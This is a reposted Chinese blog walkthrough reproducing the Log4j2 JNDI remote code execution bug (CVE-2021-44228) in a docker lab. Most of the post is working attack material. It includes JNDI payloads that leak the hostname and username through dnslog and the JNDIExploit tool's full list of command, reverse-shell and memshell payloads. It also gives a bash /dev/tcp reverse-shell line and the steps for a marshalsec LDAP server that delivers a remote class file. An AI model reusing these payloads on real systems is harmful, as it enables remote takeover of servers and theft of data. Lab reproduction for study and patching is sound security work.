0


复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

前言

近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。2021年11月24日,阿里云安全团队向apache官方报告了这一漏洞其存在远程命令执行漏洞。

漏洞原理

由于Apache Log4j2某些功能存在递归解析功能,可直接被恶意攻击者构造恶意请求,受影响的应用包括Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

影响范围

Apache Log4j2 version < Apache Log4j2 2.15.0-rc2

环境搭建&漏洞复现

使用docker直接拉即可

sudo docker pull vulfocus/log4j2-rce-2021-12-09

sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09

启动环境之后可以使用浏览器访问

注入测试参数payload=${jndi:ldap://7mjkro.dnslog.cn/exp}

利用DNSlog还可以实现查看主机名、用户

${jndi:ldap://${env:HOSTNAME}.66ylcg.dnslog.cn/exp}

${jndi:dns://${sys:user.name}.swr800.dnslog.cn}

使用工具JNDIExploit-1.2-SNAPSHOT.jar

参考说明:https://github.com/Jeromeyoung/JNDIExploit-1

使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数

使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式

PS C:\Users\JieteWang\Desktop\Log4j-exp\poc> java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -u

Supported LADP Queries:

  • all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.

ldap://null:1389/Basic/Dnslog/[domain]

ldap://null:1389/Basic/Command/[cmd]

ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]

ldap://null:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported

ldap://null:1389/Basic/TomcatEcho

ldap://null:1389/Basic/SpringEcho

ldap://null:1389/Basic/WeblogicEcho

ldap://null:1389/Basic/TomcatMemshell1

ldap://null:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]

ldap://null:1389/Basic/JettyMemshell

ldap://null:1389/Basic/WeblogicMemshell1

ldap://null:1389/Basic/WeblogicMemshell2

ldap://null:1389/Basic/JBossMemshell

ldap://null:1389/Basic/WebsphereMemshell

ldap://null:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.

ldap://null:1389/Deserialization/URLDNS/[domain]

ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]

ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]

ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported

ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho

ldap://null:1389/Deserialization/C3P0/SpringEcho

ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho

ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell

ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1

ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries

ldap://null:1389/TomcatBypass/Dnslog/[domain]

ldap://null:1389/TomcatBypass/Command/[cmd]

ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]

ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported

ldap://null:1389/TomcatBypass/TomcatEcho

ldap://null:1389/TomcatBypass/SpringEcho

ldap://null:1389/TomcatBypass/TomcatMemshell1

ldap://null:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]

ldap://null:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries

ldap://null:1389/GroovyBypass/Command/[cmd]

ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries

ldap://null:1389/WebsphereBypass/List/file=[file or directory]

ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain]

ldap://null:1389/WebsphereBypass/Upload/Command/[cmd]

ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]

ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported

ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell

ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.101.21

试了很多LDAP格式都未成功,特别是使用Dnslog的时候

${jndi:
ldap://192.168.101.21:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC90ZXN0},
dG91Y2ggL3RtcC90ZXN0是命令【touch /tmp/test】创建一个名叫test的文件

0x01反弹shell

${jndi:
ldap://192.168.101.21:1389/TomcatBypass/Command/Base64/bash -i >& /dev/tcp/192.168.163.129/9990 0>&1}

0x02反弹shell

试了两种方法,都是失败了,怀疑是jdk版本的问题。。。。。。

测试方法如下

使用./src/ExecTemplateJDK7.java 修改里面的host和port为要反弹的地址(如果是linux,使用./src/linux.java就行了,其实就是cmd.exe改成/bin/bash)

然后javac ExecTemplateJDK7.java,生成ExecTemplateJDK7.class

然后在kali上开http服务python3 -m http.server 9092,以及监听端口nc -l 9091

然后同样在kali上 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.10.10.10:9092/#ExecTemplateJDK7 1389

最后${jndi:
ldap://192.168.163.128:1389
}

效果是jdni上收到请求消息

Send LDAP reference result for dd redirecting to
http://192.168.163.128:9092/ExecTemplateJDK7.class

导致一步之前都没得问题,这一步之后就不行了。
httpserver请求 [10/Dec/2021 10:04:39] "GET /ExecTemplateJDK7.class HTTP/1.1" 200

标签: apache java 安全

本文转载自: https://blog.csdn.net/Jietewang/article/details/122032174
版权归原作者 Jietewang 所有, 如有侵权,请联系我们删除。

“复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞”的评论:

还没有评论